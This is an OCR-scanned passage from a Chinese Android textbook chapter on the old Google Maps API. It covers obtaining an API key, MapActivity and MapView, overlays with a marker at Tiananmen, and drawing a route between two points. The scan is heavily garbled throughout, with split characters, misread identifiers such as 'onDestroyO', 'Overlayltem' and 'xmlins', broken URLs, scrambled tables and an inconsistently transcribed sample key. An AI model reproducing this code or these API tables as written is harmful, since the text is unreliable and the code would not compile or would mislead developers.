(4) 输入 完成 之 后 ， 单 击 Generate API Key 按钮 ,会 生成 以 下 Google Map API 密 钥 ， 此 时 
的 运行 效果 如 图 13-20 所 示 。 
0OiY0AdVaszVJc0_-BkgatB-3xGtXsGdlv2PKKsg 
而 同时 在 图 13-20 所 示 的 界面 中 也 会 提供 一 个 用 户 可 以 使 用 的 MapView 组 件 的 配置 信息 : 
<com.google.android.maps.MapView 
android:layout_width="fill_parent" 
android:layout_height="fill_parent" 
android:apiKey="0iYOAdVaszVJcO_-BkgatB-3xGtXsGdlv2PKKsg" /> 
可 以 发 现 , 在 此 配置 信息 中 存在 一 个 android:apiKey 属性 , 该 属性 的 内 容 就 是 刚刚 生成 的 密 
钥 信 息 ， 而 用 户 直接 将 此 MapView 组 件 的 配置 信息 复制 到 项 目 中 的 布局 管理 器 中 即 可 。 
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Google 地 图 API 
Google 代码 主页 > Google 地 图 AP| > Google 地 图 API 注册 


感谢 您 注册 Android 地 图 API 密 钥 ! 
您 的 密 钥 是 : 


有 关 详细 信息 ， 请 查看 AP 文档。 
图 13-20 ”生成 Google Map API 密 钥 
此 时 ， 用 户 已 经 具备 使 用 Google Map 进行 开发 的 条 件 ， 那 么 下 面 就 利用 以 上 给 出 的 配置 信 
息 ， 实 现 一 个 地 图 的 显示 功能 ， 但 是 如 果 要 想 正确 地 完成 地 图 的 显示 ， 则 用 户 建立 的 Activity 
昌 序 不 能 再 继承 android.app.Activity 类 ， 而 是 继承 com.google.android.maps.MapActivity 类 ， 表 
示 要 操作 的 是 一 个 Map 功能 ， 此 类 的 继承 结构 如 下 : 


java.lang.Object 


bandroid.content.Context 
bandroid.content.ContextWrapper 
bandroid.view.ContextThemeWrapper 
bandroid.app.Activity 


bcom.google.android.maps.MapActivity 
通过 继承 结构 可 以 发 现 ， MapActivity 类 是 Activity 类 的 子 类 ， 而 在 MapActivity 类 中 定义 了 
如 表 13-4 所 示 的 操作 方法 。 
表 13-4 MapActivity 类 定义 的 操作 方法 
描 述 
默认 提供 的 无 参 构造 
在 此 方法 中 创建 MapView 或 交通 服务 


1 | public MapActivityO 


protected void onCreate(Bundle 


savedInstanceState 
3_ | protected void onDestroyO 程序 结束 时 释放 资源 
4 | protected void onPause0) 程序 暂停 运行 时 触发 
5 | protected void onResume0) 恢复 地 图 显示 以 及 交通 服务 


判断 是 否 进行 定位 显示 ， 如 果 返 回 tue， 则 表 
未 显示 用 户 的 位 置信 息 ;和 否则， 返回 false 
判断 是 否 显示 导航 信息 , 如 果 显示 , 则 返回 true; 
和 否则， 返回 false。 此 方法 必须 被 子 类 禾 写 


6 | protected boolean isLocationDisplayed0 


7 | protected boolean lsSRouteDisplayed0 
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另外 ， 由 于 Google Map 操作 所 使 用 的 类 库 并 不 是 由 Android 默认 提供 的 ， 所 以 需要 首先 修 


改 项 目 文件 中 的 AndroidManifestxml 文件 配置 操作 类 库 以 及 网 络 访问 权限 。 


【 例 13-9】 修改 AndroidManifestxml 文件 ， 增 加 权限 
<application android:icon="@drawable/icon”" android:label="@string/app_name"> 
<activity android:name="GoogleMapDemo" android:label="@string/app_name"> 
<intent-filter> 
<action android:name="android.intent.action.MAIN" /> 
<category android:name="android.intent.category.LAUNCHER" /> 
</intent-filter> 
</activity> 
<uses-library android:name="com.google.android.maps" /> 
</application> 
<uses-permission android:name="android.permission.INTERNET" /> 
在 本 配置 文件 中 ，<uses-library> 表 示 添 加 Google Map 的 类 库 支持 ， 而 <uses-permission> 表 


示人 允许 访问 网 络 。 


【 例 13-10】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apk/res/android" 
android:orientation="Vertica/" // 所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<com.google.android.maps.MapView // 定 义 MapView 组 件 

android:id="@+id/mapview” // 组 件 ID， 程 序 中 使 用 

android:clickable="true” // 允 许 拖 搜 地 图 

android:enabled="true”" // 正 常 开启 地 图 

android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 

android:layout_height="fil/_parent” // 组 件 高 度 为 屏幕 高 度 

android:apiKey="0iYOAdVaszVJc0_-BkgatB-3xGtXsGdIlv2PKKsg" /> // 生 成 的 密 钥 
</LinearLayout> 


在 本 配置 文件 中 ， 除 了 编写 了 在 生成 密 钥 时 给 出 的 参考 代码 外 ， 又 额外 配置 了 android:clickable 


和 android:enabled 两 个 属性 ， 以 让 地 图 可 以 正常 地 显示 并 操作 。 
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【 例 13-11】 定义 Activity 程序 显示 地 图 

package org.Ixh.demo; 

import android.os.Bundle; 

import com.google.android.maps.MapActivity; 

public class GoogleMapDemo extends MapActivity { /继承 MapActivity 
@Override 
public void onCreate(Bundle savedInstanceState) { 

super.onCreate(savedInstanceState); 


super.setContentView(R.layout.main); // 读 取 布 局 文件 
} 
@Override 
protected boolean isRouteDisplayed(){ /是 否 导 航 
return false; /不 导航 
} 
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本 程序 与 之 前 程序 的 最 大 区 别 是 直接 继承 MapActivity 类 ， 而 不 再 是 Activity 类 。 而 后 与 普 
通 的 Activity 程序 一 样 ， 使 用 setContentView0 方 法 读 取 布 局 文件 ， 程 序 的 运行 效果 如 图 13-21 
所 示 。 


站 


笋 洲 


图 13-21 显示 地 图 
13.5 在 地 图 上 标记 


现在 地 图 已 经 可 以 正常 地 显示 给 用 户 了 ， 可 是 程序 还 存在 着 一 个 实际 问题 : 此 时 只 是 为 用 
户 显示 了 一 张 完整 的 地 图 ， 用 户 也 可 以 采用 手动 的 方式 进行 拖 动 ， 但 是 并 不 能 像 导 航 软件 那样 ， 
可 以 随时 根据 用 户 所 在 的 位 置 在 地 图 上 进行 标记 。 该 功能 也 可 以 通过 程序 在 Google Map 中 实现 ， 
而 要 想 实 现 这 样 的 操作 ， 则 首先 必须 来 研究 一 下 MapView 类 提供 的 操作 方法 ， 如 表 13-5 所 示 。 


提示 
Y 这 些 类 的 文档 需要 通过 Google 的 站 点 查询 。 
由 于 这 些 地 图 标记 的 操作 类 为 Google 提供 的 类 ， 所 以 不 在 Android 系统 给 出 的 文档 内 ， 
用 户 可 以 通过 以 下 路 径 查 看 文档 信息 : http://code.google.com/intl/zh-CN/android/add-ons/ 
google-apis/reference/index.html. 


表 13-5 MapView 类 的 常用 方法 


型 描述 
构造 ”| 实例 化 MapView 对 象 

| 捕捉 滚动 操作 ， 并 且 移 动 地 图 
焦点 是 否 可 以 改变 


方 ” 法 
1 public MapView(Context context, AttributeSet attrs) 


4 public void computeScroll0 
liblic void onWindowEFocusChan! 
public boolean onKeyDown(int keyCode, KeyEvent 


lean hasFocus, 


处 理 键盘 按 下 操作 
处 理 键盘 松 开 操作 


event) 
public boolean onKeyUp(int keyCode, KeyEvent event) 
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续 表 

No. 廊 。” 法 类 型 描述 
6 public boolean onTrackballEvent(MotionEvent event 普通 对 移动 轨迹 进行 监听 操作 

public boolean onTouchEvent(MotionEvent ev) 普通 设置 触摸 操作 
jb ViewGroup.LayoutParams generateLayoutParams 普通 生成 布局 参数 

AttributeSet attrs 

9 public void displayZoomControls(boolean takeFocus) 普 是 否 显示 缩放 控制 按钮 
10 | public boolean canCoverCenterO 普通 判断 是 否 处 于 整个 地 图 的 中 心 
11 | public void preLoadO 普通 对 地 图 进行 预先 加 载 
12 | public int getZoomLevel0) 普通 得 到 缩放 的 等 级 
13_| public void setSatellite(boolean on) 普通 是 否 设置 地 图 2 卫星 显示 模式 
14 | public boolean isSatellite0) 普 判断 是 否 为 卫星 显示 模式 
15 | public void setTraffic(boolean on) 普 是 否 在 地 图 区 示 交 通 情况 
16_| public boolean isTraffic 普 判断 是 否 显示 交通 情况 
17 | public void setStreetView(boolean on 普通 是 否 打开 街道 视图 
18 ublic boolean isStreetView0) 普通 判断 是 否 打开 街道 视图 
19 | public GeoPoint getMapCenter() 普通 ee 心 而 和 本 。 使 用 
20 | public MapController getController() 普通 得 到 地 图 控制 对 象 
21 | public final java.util.List<Overlay> getOverlays0) 普通 取得 全 部 的 地 图 图 层 
22 | public int getMaxZoomLevel0 普通 取得 最 高 的 地 图 放大 等 级 
23_ | public void setBuiltInZoomControls(boolean on 普通 设置 是 否 允 许 显示 缩放 按钮 
24 | public Projection getProjection0) 普通 获取 投影 坐标 


在 表 13-5 中 列 出 了 MapView 类 的 
和 getOverlays() 方 法 进行 说 明 。 


- 些 常用 操作 方法 , 下面 对 getMapCenter()、getController() 


1. 取得 地 图 中 心 点 坐标 的 方法 : public GeoPoint getMapCenter() 


getMapCenter() 方 法 返回 的 类 型 (com.google.android.maps.GeoPoint) 是 


-个 表示 当前 坐标 点 


的 封装 对 象 ， 在 以 后 对 地 图 的 控制 方法 中 ， 要 经 常 使 用 此 类 的 对 象 进行 操作 。GeoPoint 类 的 常 


方法 如 表 13-6 所 示 。 


表 13-6 ”GeoPoint 类 的 常用 方法 


描述 


public int getLatitudeE64 


public int getLonsitudeE60) 


实例 化 GeoPoint 类 对 象 
返回 纬度 (Latitude * 1E6) 
返回 经 度 (Longitude * 1E6) 


2. 取得 地 图 控制 对 象 的 方法 : public MapController getController() 


使 用 MapView 类 的 getController0 方 法 ， 可 以 返回 
类 的 实例 化 对 象 ， 而 通过 此 类 提供 的 操作 方法 可 以 对 地 图 的 显示 进行 控制 ， 


表 13-7 所 示 。 


6S4 


-个 com.google.android.maps.MapController 


控制 的 常用 方法 如 
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表 13-7 MapController 类 的 常用 方法 


描述 


public void animateTo(GeoPoint point 普通 在 指定 的 坐标 点 上 开始 动画 


画 ， 并 传递 消息 


指定 的 坐标 点 上 开始 动 
public void animateTo(GeoPoint point .Message message) 在 指定 开始 


public void scrollBy(int x, int y) 站 滚动 到 指定 的 坐标 点 


设置 中 心 点 坐标 


停止 动画 
放 等 级 ， 等 
public int setZoom(int zo0omLevel) 和 岂 为 要 保生 


3.， 取得 地 图 上 所 有 图 层 的 方法 : public final java.util.List<Overlay> getOverlays() 


个 地 图 显示 ， 实 际 上 是 由 一 个 个 独立 的 透明 图 层 所 组 成 的 ， 例 如 ， 在 这 些 图 层 中 ， 最 低 


层 可 能 是 一 个 地 图 显示 图 层 (MapView) ， 而 在 这 之 上 有 可 能 又 增加 了 若干 个 位 置 表示 的 图 层 
以 及 路 径 的 显示 图 层 ， 如 图 13-22 所 示 。 那 么 这 些 图 层 就 可 以 通过 getOverlays() 方 法 取得 ， 此 方 


法 返 


.| 


的 是 一 个 List 集合 , 在 此 List 集合 中 保存 了 多 个 com.google. android.maps.Overlay 抽象 类 


的 对 象 ， 其 中 每 一 个 Overlay 的 对 象 都 表示 一 个 独立 的 图 层 , 将 这 些 图 层 合 加 在 一 起 就 可 以 完成 
最 终 的 位 置 标记 。 


水 确 湖 
二 于 四 MapView 
PT 
久 妆 拓 


GE 


【]】 Overlayltem 


图 13-22 地 图 图 层 


通过 图 13-22 可 以 发 现 ， 如 果 要 完成 Google Map 的 开发 ， 不 只 是 靠 一 个 地 图 显示 的 界面 ， 


实际 上 还 需要 在 这 之 上 建立 多 个 图 层 ， 而 在 Android 中 ， 每 一 个 图 层 都 可 以 通过 一 个 Overlay 对 
象 来 表示 ， 在 一 个 Overlay 上 一 定 会 保存 多 个 OverlayItem 对 象 〈 位 置 点 ) ， 那 么 下 面 先 来 研究 


Overlay 和 OverlayItem 的 基本 使 用 ， 首 先 观察 Overlay 类 的 定义 : 
public abstract class Overlay 
extends java.lang.Object 
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通过 定义 可 以 发 现 ，Overlay 本 身 是 一 个 抽象 类 ， 也 是 作为 一 个 所 有 图 层 的 操作 父 类 所 存在 ， 
主要 是 显示 在 Map 图 层 之 上 ,每 当 用 户 创建 了 一 个 新 的 Overlay 对 和 象 之 后 ,就 可 以 利用 getOverlays() 
方法 将 其 添加 到 所 有 图 层 之 上 ， 在 此 类 中 定义 的 常用 方法 如 表 13-8 所 示 。 
图 13-8 ”Overlay 类 的 常用 方法 
描述 
实例 化 Overlay 对 象 
public boolean onTap(GeoPoint p ,MapView 攻 表示 当 用 户 单 击 了 指定 的 坐标 点 之 后 
mapView) 所 需要 执行 的 操作 


public void draw(Canvas canvas, MapView 


绘制 阴影 


mapv, boolean shadow 


了 解 了 图 层 的 概念 之 后 ， 下 面 继续 来 研究 表示 图 层 位 置 点 的 OverlayItem 类 的 使 用 。 在 每 一 个 
图 层 上 会 包含 多 个 OverlayItem 类 的 对 象 (表示 多 个 位 置 点 ) ，OverlayItem 类 的 常用 方法 如 表 13-9 
所 示 。 

表 13-9 Overlayltem 类 的 常用 方法 
No. ; | 类 型 | 描述 
public OverlayItem(GeoPoint point, String 构造 建立 一 个 位 置 点 ,封装 GeoPoint 坐标 ， 
title, String snippet 并 且 设 置 该 位 置 点 的 标题 以 及 说 明 
2 取得 位 置 点 的 标题 
3 取得 位 置 点 的 说 明 


通过 表 13-9 列 出 的 操作 方法 不 难 发 现 ，OverlayItem 类 的 主要 功能 就 是 对 包装 GeoPoint 类 
的 数据 进行 包装 ， 同 时 为 这 个 GeoPoint 所 指定 的 坐标 加 入 说 明 信 息 (title、snipper)。 

可 是 Overlay 类 本 身 是 一 个 抽象 类 , 如 果 用 户 要 定义 图 层 , 则 需要 为 Overlay 定义 一 个 子 类 ， 
但 是 在 实际 开发 中 ， 用 户 所 定义 的 子 类 往往 不 是 直接 继承 Overlay 类 ， 而 是 直接 继承 Overlay 类 
的 两 个 子 类 。 

回 ItemizedOverlay: 主要 用 于 绘制 用 户 标 记 的 图 层 ， 而 所 标记 的 形式 由 用 户 定义 。 

回 MyLocationOverlay: 主要 用 于 显示 用 户 所 在 的 位 置 。 


13.5.1 使 用 ltemizedOverlay 在 地 图 上 定义 一 个 位 置 标记 


若 只 是 在 地 图 上 进行 位 置 的 标记 ， 则 直接 使 用 一 个 类 继承 ItemizedOverlay 类 即 可 (这 个 子 
类 既然 是 ItemizedOverlay 类 的 子 类 ， 那 么 也 就 一 定 是 Overlay 的 子 类 ) ， 而 在 ItemizedOverlay 
类 中 ， 除 了 继承 了 Overlay 类 中 的 方法 之 外 ， 还 定义 了 如 表 13-10 所 示 的 扩充 方法 。 
表 13-10 ItemizedOverlay 类 定义 的 方法 
方 ” 法 描 述 
public ItemizedOverlay(Drawable defaultMarker) 实例 化 对 象 时 传 入 标记 的 Drawable 对 象 


普通 “| 在 位 置 的 正中 央 显 示 标记 图 片 
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描述 


Protected static Drawable boundCenterBottom 
(Drawable balloon) 


将 坐标 点 置 于 标记 图 片 下 方 的 正中 央 


public abstract int sizeO) 


取得 该 图 层 包含 OverlayItem 的 个 数 


protected abstract Item createItem(int 1) 


取得 指定 索引 的 Iem (OverlayItemy) 


public final Item getItem(int position) 


取得 指定 索引 位 置 的 Iem (OverlayItem) 


protected final void populate0) 


此 方法 


添加 新 的 ItemizedOverlay 之 后 必须 使 


所 以 如 果 要 想 定义 表示 图 层 的 操作 类 ， 就 可 以 直接 继承 ItemizedOverlay 类 并 和 获 写 类 中 相应 


的 抽象 方法 。 下 面 的 程序 将 完成 一 个 ItemizedOverlay 子 类 的 开发 。 
【 例 13-12】 
package org.Ixh.demo; 
import java.util.ArrayList; 
import java.util.List; 
import android.app.AlertDialog; 
import android.app.Dialog; 
import android.content.Context; 
import android.content.Dialoglnterface'; 
import android.graphics.drawable.Drawable; 
import com.google.android.maps.ltemizedOverlay; 
import com.google.android.maps.Overlayltem; 
public class MyOverlayImpl extends ItemizedOverlay<Overlayltem> { 


定义 图 层 操作 类 一 一 MyOverlayImpl， 此 类 继承 ItemizedOverlay 类 


private List<Overlayltem> allOverlayltems = new ArrayList<Overlayltem>(); /所 有 点 
private Context context = null; /Context 对 象 
public MyOverlayImpl(Drawable defaultMarker, Context context) { 
super(boundCenter(defaultMarker)); // 标 记 图 像 在 点 中 央 
this.context = context; // 设 置 Context 
} 
@Override 
protected Overlayltem createltem(int i) { // 取 得 一 个 图 层 项 
return this.allOverlayltems.get(i); // 通 过 集合 返回 
} 
@Override 
public int size() { // 全 部 图 层 项 的 个 数 
return this.allOverlayltems.size(); 1/ 返回 个 数 
} 
@Override 
protected boolean onTap(int index) { /| 单 击 标记 图 片 之 后 的 操作 
Overlayltem item = this.allOverlayltems.get(index); // 取 得 指定 图 层 项 
Dialog dialog = new AlertDialog.Builder(this.context) // 对 话 框 
.setlcon(R.drawable.pic_m) // 设 置 显示 图 片 
.setTitle(item.getTitle()) /设置 显示 标题 
.setMessage(item.getSnippet()) /设置 显示 内 容 
.setPositiveButton(" 关 闭 "， /增加 一 个 确定 按钮 
new Dialoglnterface.OnClickListener(){ /设置 操作 监 


public void onClick(Dialoglnterface dialog, 


int whichButton) { 


// 单 击 事件 
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} 


.create(); 

dialog.show(); 
return true; 

} 

public void addOverlayltem(Overlayltem item) { 
this.allOverlayltems.add(item); 
super.populate(); 

} 

| 


// 创 建 对 话 框 
/显示 对 话 框 
/处 理 此 操作 


// 增 加 图 层 项 
// 增 加 项 
// 增 加 项 操作 


此 时 一 个 专门 用 于 处 理 图 层 的 操作 类 就 定义 完成 了 ， 下 面 在 Map View 上 进行 图 层 的 合 加 。 


【 例 13-13】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 
<LinearLayout 


// 线 性 布局 管理 器 


xmlins:android="http:/schemas.android.com/apk/res/android" 


android:orientation="vertica/" 
android:layout_width="fill_parent”" 
android:layout_height="fill_parent"> 
<com.google.android.maps.MapView 
android:id="@+id/mapview”" 
android:clickable="true” 
android:enabled="true” 
android:layout_width="fill_parent”" 
android:layout_height="fil|_parent” 


android:apiKey="0iYOAdVaszVJc0_-BkgatB-3xGtXsGdlv2PKKsg" /> 


</LinearLayout> 


/所 有 组 件 垂 直 摆 放 

// 布 局 管理 器 宽度 为 屏幕 宽度 

// 布 局 管理 器 高 度 为 屏幕 高 度 
/定义 MapView 组 件 

// 组 件 ID， 程 序 中 使 用 
/允许 拖 搜 地 图 

/正常 开启 地 图 

// 组 件 宽度 为 屏幕 宽度 

// 组 件 高 度 为 屏幕 高 度 

// 生 成 的 密 钥 


【 例 13-14】 定义 Activity 程序 ， 在 地 图 上 进行 标记 (分 段 显示 )》 


package org.Ixh.demo; 
import android.content.Context; 
import android.graphics.drawable.Drawable; 
import android.location.Location ; 
import android.location.LocationListener; 
import android.location.LocationManager; 
import android.os.Bundle; 
import com.google.android.maps.GeoPoint; 
import com.google.android.maps.MapActivity; 
import com.google.android.maps.MapController; 
import com.google.android.maps.MapView; 
import com.google.android.maps.Overlayltem; 
public class GoogleMapDemo extends MapActivity { 
private int longitudeE6 =0 ; 
private int latitudeE6 = 0 ; 
private MapView mapView = null ; 
@Override 
public void onCreate(Bundle savedInstanceState) { 
super.onCreate(savedInstanceState); 
super.setContentView(R.layout.main); 
this.longitudeE6 = (int) (116.3975060 * 1E6) ; 
this.latitudeE6 = (int) (39.9087110 * 1E6) ; 


/| 继承 MapActivity 
// 保 存 经 度 
/保存 纬度 
// 地 图 组 件 


JonCreate() 方 法 
// 读 取 布 局 文件 


/| 默认 经 度 
// 上 默认 纬度 
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this.mapView = (MapView) super.findViewByld(R.id.mapview) ; // 取 得 组 件 


this.mapView.setBuiltInZoomControls(true) ; /可 以 缩放 
Drawable drawable = super.getResources() 
.getDrawable(R.drawable.arrow); // 取 得 标记 资源 


MyOverlayImpl mol = new MyOverlayImpl(drawable,this) ;// 定 义 图 层 类 对 象 
GeoPoint point = new GeoPoint(this latitudeE6 

, this.longitudeE6); // 封 装 纬度 和 经 度 
Overlayltem overlayltem = 


new Overlayltem(point，" 您 的 位 置 ! "," 我 现在 在 北京 天 安 门 ); /包装 坐标 点 


mol.addOverlayltem(overlayltem) ; 1// 增 加 一 个 图 层 项 
this.mapView.getOverlays().add(mol) ; // 增 加 一 个 新 图 层 
MapController mapController = mapView.getController(); /取得 地 图 控制 对 象 
mapController animateTo(point); /设置 坐标 点 动画 
mapController.setZoom(16); // 放 大 级 别 设置 为 16 

| 

@Override 

protected boolean isRouteDisplayed() { // 是 否 导航 
return false; /不 导航 

| 


| 

本 代码 的 主要 功能 是 将 当前 位 置 的 显示 标记 资源 直接 通过 自 定义 的 图 层 〈Overlay) 进行 封 
装 ， 并 且 通 过 OverlayItem 封装 了 一 个 当前 的 显示 位 置 ， 并且 自动 在 地 图 上 标记 。 但 是 经 度 和 纬 
度 的 数据 如 果 要 想 保存 在 GeoPoint 类 中 ， 必 须 将 数值 乘 以 le6 才 可 以 正常 使 用 。 

【 例 13-15】 修改 AndroidManifest.xml 文件 ， 配 置 权限 

<uses-permission android:name="android.permission.INTERNET" /> 
程序 运行 之 后 会 默认 移动 到 指定 的 坐标 并 显示 标记 的 图 片 , 如 图 13-23 所 示 。 而 当 用 户 单 击 
标记 之 后 的 显示 效果 如 图 13-24 所 示 。 
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NO 
提问: 如 何 知道 位 置 的 坐标 点 ? 
通过 上 面 的 程序 ， 可 以 知道 天 安 门 的 坐标 (纬度 = 39.9087110、 经 度 = 116.3975060 ) ， 
那么 如 果 是 一 些 不 知道 的 坐标 ， 该 如 何 取得 呢 ? 
回答 : 直接 利用 Google 提供 的 服务 即 可 取得 。 


如 果 要 想 知道 某 一 位 置 的 具体 坐标 ， 最 方便 的 做 法 是 输入 如 下 的 路 径 : 

http://maps.google.com/maps/api/geocode/json?address= 天 安 门 &sensor=false 

只 需要 在 address 后 面 填写 上 指定 的 位 置 名 称 即 可 ， 而 本 章 后 面 也 将 通过 具体 的 程序 演 
示 如 何在 程序 中 通过 给 定 的 路 径 取 得 一 些 位 置信 息 。 


以 上 程序 通过 地 图 图 层 的 方式 显示 了 一 个 操作 的 坐标 点 ， 但 是 在 很 多 导航 软件 上 ， 都 可 以 
为 用 户 进行 导航 路 径 的 规划 ， 如 图 13-25 所 示 ， 此 时 就 需要 再 增加 一 个 地 图 图 层 ， 实 现 画 导航 路 
线 的 操作 。 


EECTTIS 


Google 地 图 


Goog)ent 


图 13-25 显示 天 安 门 到 颐和园 的 路 径 
但 是 在 这 里 还 有 一 个 最 重要 的 问题 ， 那 就 是 如 果 现 在 的 程序 要 在 屏幕 上 显示 出 规划 路 径 ， 
肯定 要 通过 Canvas 类 进行 绘图 的 操作 ， 可 是 此 类 所 需要 的 并 不 是 地 图 上 的 经 、 纬 度 坐 标 ， 而 应 
该 是 屏幕 上 的 和 立 坐 标 。 为 了 将 经 、 纬 度 与 屏幕 上 的 X、Y 坐标 对 应 ， 在 Android 中 专门 提 
供 了 一 个 com.google.android.maps.Projection 接口 ， 此 接口 中 所 提供 的 常用 方法 如 表 13-11 所 示 。 


表 13-11 Projection 接口 的 常用 方法 


No. 方 ” 法 描述 
将 GeoPoint 包含 的 经 、 纬 度 坐标 转换 为 地 图 
上 的 一 个 点 (Point， 使 用 义 、Y 举 标 表示 )》 


将 地 图 上 一 个 指定 的 点 变 为 GeoPoint 表示 


1 |public Point toPixels(GeoPoint in, Pomt out) 


public GeoPoint fromPixels(int x, int y) 


通过 表 13-11 可 以 发 现 , Projection 接口 的 主要 功能 是 将 GeoPoint 类 封装 的 经 度 与 纬度 信息 ， 
直接 使 用 toPixels0 方 法 变 为 Point 坐标 , Canvas 类 就 可 以 通过 Point 类 取得 和 与 立轴 的 坐标 信息 ， 
而 如 果 要 想 取 得 本 接口 的 实例 化 对 象 ， 只 需要 使 用 MapView 类 的 getProjection() 方 法 即 可 完成 。 
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下 面 通过 一 个 实际 的 程序 来 解释 具体 操作 。 


人: 注 总 


本 程序 只 是 一 个 演示 。 
由 于 规划 导航 路 线 需要 对 地 图 的 各 个 街道 进行 分 析 ， 而 此 类 分 析 需 要 非常 严格 的 算法 支 
持 ， 这 超出 了 本 书 的 范畴 ， 所 以 本 程序 只 是 对 规划 路 径 的 实现 做 一 个 基本 介绍 。 


【 例 13-16】 定义 布局 管理 器 一 一 main.xml 
<?xml version="1.0" encoding="utf-8"?> 


<LinearLayout // 线 性 布局 管理 器 
xmlins:android="http:/schemas.android.com/apK/res/android" 
android:orientation="vertical” /所 有 组 件 垂 直 摆 放 
android:layout_width="fill_parent” // 布 局 管理 器 宽度 为 屏幕 宽度 
android:layout_height="fill_parent”> // 布 局 管理 器 高 度 为 屏幕 高 度 
<com.google.android.maps.MapView // 定 义 MapView 组 件 
android:id="@+id/mapview” /组 件 ID， 程 序 中 使 用 
android:clickable="true” // 允 许 拖 搜 地 图 
android:enabled="true” // 正 常 开启 地 图 
android:layout_width="fill_parent” // 组 件 宽度 为 屏幕 宽度 
android:layout_height="fill_parent” // 组 件 高 度 为 屏幕 高 度 
android:apiKey="0iYOAdVaszVJc0_-BkgatB-3xGtXsGdlv2PKKsg" /> // 生 成 的 密 钥 
</LinearLayout> 


本 布局 管理 器 与 之 前 使 用 的 完全 相同 ， 只 是 提供 了 一 个 显示 的 地 图 层 ， 而 地 图 层 准 备 完毕 

之 后 ， 下 面 还 需要 继续 准备 一 个 显示 标记 点 的 图 层 类 一 一 PaintPointOverlay.java。 
【 例 13-17】 定义 表示 点 图 层 的 工具 类 一 一 PaintPointOverlay.java 

package org.Ixh.demo; 

import android.graphics.Canvas; 

import android.graphics.Color 

import android.graphics.Paint; 

import android.graphics.Point; 

import com.google.android.maps.GeoPoint; 

import com.google.android.maps.MapView; 

import com.google.android.maps.Overlay; 

import com.google.android.maps.Projection; 


public class PaintPointOverlay extends Overlay { // 定 义 图 层 

private GeoPoint geoPoint' /接收 位 置 点 的 坐标 

public PaintPointOverlay(GeoPoint geoPoint) { // 通 过 构造 方法 接收 数据 
this.geoPoint = geoPoint; 

} 

@Override 

public void draw(Canvas canvas, MapView mapView, boolean shadow) { // 绘 图 
Point point = new Point(); /定义 Point 用 于 Canvas 绘图 
Projection projection = mapView.getProjection(); /取得 Projection 对 象 
projection.toPixels(this.geoPoint, point); // 将 坐标 点 变 为 屏幕 坐标 
Paint paint = new Paint(); // 定 义 Paint 对 象 
paint.setColor(Color.RED); // 设 置 为 红色 显示 
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canvas.drawCircle(point.x, point.y, 6, paint); // 画 圆 
} 
本 程序 类 只 是 作为 一 个 图 层 的 操作 类 ,所 以 直接 继承 了 Overlay 类 ， 而 后 将 包装 了 显示 坐标 


点 的 GeoPoint 类 的 表示 信息 通过 Projection 接口 转化 为 屏幕 上 的 X 和 了 坐标 ， 并 使 用 Canvas 
类 直接 绘制 一 个 圆 形 。 


【 例 13-18】 定义 表示 规划 路 线 层 的 操作 类 一 一 PaintLineOverlay.java 
package org.Ixh.demo; 
import android.graphics.Canvas; 
import android.graphics.Color; 
import android.graphics.Paint; 
import android.graphics.Paint.Style; 
import android.graphics.Point; 
import com.google.android.maps.GeoPoint; 
import com.google.android.maps.MapView; 
import com.google.android.maps.Overlay; 
import com.google.android.maps.Projection; 
public class PaintLineOverlay extends Overlay { 
private GeoPoint beginGeoPoint; // 开 始 坐标 
private GeoPoint endGeoPoint; // 结 束 坐 标 
public PaintLineOverlay(GeoPoint beginGeoPoint, GeoPoint endGeoPoint) { 
this.beginGeoPoint = beginGeoPoint; 
this.endGeoPoint = endGeoPoint; 


} 

@Override 

public void draw(Canvas canvas, MapView mapView, boolean shadow) { 
Paint paint = new Paint(); /定义 Paint 
paint.setStyle(Style.FILL_AND_STROKE); /填充 空心 
paint.setStrokeWidth(3); /空心 宽度 为 3 
paint.setColor(Color.RED); /设置 绘图 的 颜色 
Point beginPoint = new Point(); // 开 始点 
Point endPoint = new Point(); // 结 束 点 
Projection projection = mapView.getProjection(); /定义 Project 
projection toPixels(this.beginGeoPoint, beginPoint); /| 转换 坐标 
projection.toPixels(this.endGeoPoint, endPoint); 1/ 转换 坐标 
canvas.drawLine(beginPoint.x, beginPoint.y, endPoint.x, endPoint.y, 

paint); // 画 线 
} 


j 
本 图 层 类 的 主要 功能 是 在 两 个 给 定 的 坐标 (beginGeoPoint、endGeoPoint) 间 绘 制 一 条 导航 


路 线 。 
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【 例 13-19】 定义 Activity 程序 ， 进 行 图 层 的 倒 加 
package org.Ixh.demo; 
import android.os.Bundle; 
import com.google.android.maps.GeoPoint; 
import com.google.android.maps.MapActivity; 
import com.google.android.maps.MapController; 
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import com.google.android.maps.MapView; 


public class GoogleMapDemo extends MapActivity { /| 继承 MapActivity 
private MapView mapView = null ; // 地 图 组 件 
@Override 
public void onCreate(Bundle savedInstanceState) { JWonCreate() 方 法 
Super.onCreate(savedlnstanceState); 
super.setContentView(R.layout.main); // 读 取 布 局 文件 
GeoPoint beginGeoPoint = new GeoPoint((int) (39.9087110 * 1E6), 
(int) (116.3975060 * 1E6)); /开始 点 
GeoPoint endGeoPoint = new GeoPoint((int) (39.9995740 * 1E6), 
(int) (116.2739010 * 1E6)); // 结 束 点 
this.mapView = (MapView) super .findViewByld(R.id.mapview) ; /取得 组 件 
this.mapView.setBuiltInZoomControls(true) ; // 可 以 缩放 


this.mapView.getOverlays().add(new PaintPointOverlay(beginGeoPoint)) ;// 增 加 新 图 层 
this.mapView.getOverlays().add(new PaintPointOverlay(endGeoPoint)) ; // 增 加 新 图 层 
this.mapView.getOverlays().add(new PaintLineOverlay(beginGeoPoint,endGeoPoint)) ; 


MapController mapController = mapView.getController(); // 取 得 地 图 控制 对 象 
mapController animateTo(beginGeoPoint); /设置 坐标 点 动画 
mapController setZoom(12); // 放 大 级 别 设置 为 12 
1 
@Override 
protected boolean isRouteDisplayed() { // 是 否 导航 
return false; // 不 导航 
} 


} 

【 例 13-20】 修改 AndroidManifestxml 文件 ， 配 置 权限 

<uses-permission android:name="android.permission.INTERNET" /> 

本 程序 主要 完成 图 层 合 加 的 操作 ， 在 本 程序 中 首先 设置 了 两 个 目的 地 点 的 坐标 。 

